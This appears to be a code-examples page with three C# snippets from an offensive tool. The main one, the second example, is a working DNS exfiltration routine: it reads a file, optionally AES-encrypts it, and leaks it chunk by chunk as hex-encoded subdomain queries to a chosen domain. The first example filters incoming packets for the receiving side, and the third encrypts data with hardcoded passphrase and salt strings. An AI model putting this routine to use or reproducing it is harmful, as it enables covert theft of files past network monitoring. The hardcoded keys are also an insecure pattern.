Пример #1
0
        bool Match(byte[] data, IPEndPoint ip)
        {
            if (WhiteListAddresses != null && WhiteListAddresses.Length > 0)
            {
                bool esta = false;
                foreach (string sip in WhiteListAddresses)
                {
                    if (ip.Address.ToString() == sip)
                    {
                        esta = true;
                        break;
                    }
                }
                if (!esta)
                {
                    return(false);
                }
            }

            if (!string.IsNullOrEmpty(RequiredHexPacket))
            {
                string hex = HexHelper.Buffer2Hex(data);
                if (!hex.Equals(RequiredHexPacket, StringComparison.InvariantCultureIgnoreCase))
                {
                    return(false);
                }
            }

            return(true);
        }
Пример #2
0
        public override bool Run()
        {
            if (!File.Exists)
            {
                return(false);
            }

            DnsClient dns  = DnsServer == null ? DnsClient.Default : new DnsClient(DnsServer, 10000);
            bool      ipv6 = dns.Servers[0].AddressFamily == System.Net.Sockets.AddressFamily.InterNetworkV6;

            // Get counter
            byte[] g;
            switch (Convert.ToInt32(Target["Size"]))
            {
            case 8: { g = BitConverterHelper.GetBytesInt64(CounterHelper.GetNextInt64()); break; }

            case 4: { g = BitConverterHelper.GetBytesUInt32(CounterHelper.GetNextUInt32()); break; }

            case 2: { g = BitConverterHelper.GetBytesUInt16(CounterHelper.GetNextUInt16()); break; }

            case 1: { g = new byte[] { CounterHelper.GetNextByte() }; break; }

            default: { g = BitConverterHelper.GetBytesInt64(DateTime.UtcNow.ToBinary()); break; }
            }

            // Copy file id
            bool sendPacketOrder = SendPacketOrder;
            int  headerLength    = g.Length;

            if (sendPacketOrder)
            {
                headerLength += 4;          // packetNum
            }
            byte[] data = new byte[63 / 2]; // hex 2 bytes per byte
            Array.Copy(g, data, g.Length);

            AESHelper aes = AESHelper.Create(this);

            if (aes != null)
            {
                WriteInfo("Using AES Encryption");
            }
            else
            {
                WriteError("Send in RawMode (without any Encryption)");
            }

            WriteInfo("Start sending file", HexHelper.Buffer2Hex(g, 0, g.Length), ConsoleColor.Green);

            byte[] crypted = null;

            if (aes != null)
            {
                using (Stream fs = File.OpenRead())
                    crypted = aes.Encrypt(fs, false, null);
            }

            int position = 0;

            using (Stream fs = (crypted == null ? (Stream)File.OpenRead() : (Stream) new MemoryStream(crypted)))
            {
                int total = (int)(fs.Length / (data.Length - headerLength));
                if (fs.Length % (data.Length - headerLength) != 0)
                {
                    total++;
                }
                WriteInfo("Sending " + (total) + " dns querys ...");

                StartProgress(total);

                while (true)
                {
                    // copy counter
                    if (sendPacketOrder)
                    {
                        byte[] p = BitConverterHelper.GetBytesInt32(position);
                        Array.Copy(p, 0, data, headerLength - 4, 4);
                    }
                    position++;

                    // read
                    int lee = fs.Read(data, headerLength, data.Length - headerLength);
                    if (lee <= 0)
                    {
                        break;
                    }

                    // generateFile
                    string name = HexHelper.Buffer2Hex(data, 0, headerLength + lee) + "." + DomainName;

                    dns.Resolve(name, ipv6 ? RecordType.Aaaa : RecordType.A);
                    if (Sleep > 0)
                    {
                        Thread.Sleep(Sleep);
                    }

                    WriteProgress(position);
                }

                EndProgress();
            }

            WriteInfo("Done");

            return(true);
        }
Пример #3
0
        public void Encrypt(bool encrypt)
        {
            AESHelper aes = new AESHelper(HexHelper.Buffer2Hex(H), "*LasterLaster*", 100, "LasterLasterLast", AESHelper.EKeyLength.Length256);

            D = encrypt ? aes.Encrypt(D) : aes.Decrypt(D);
        }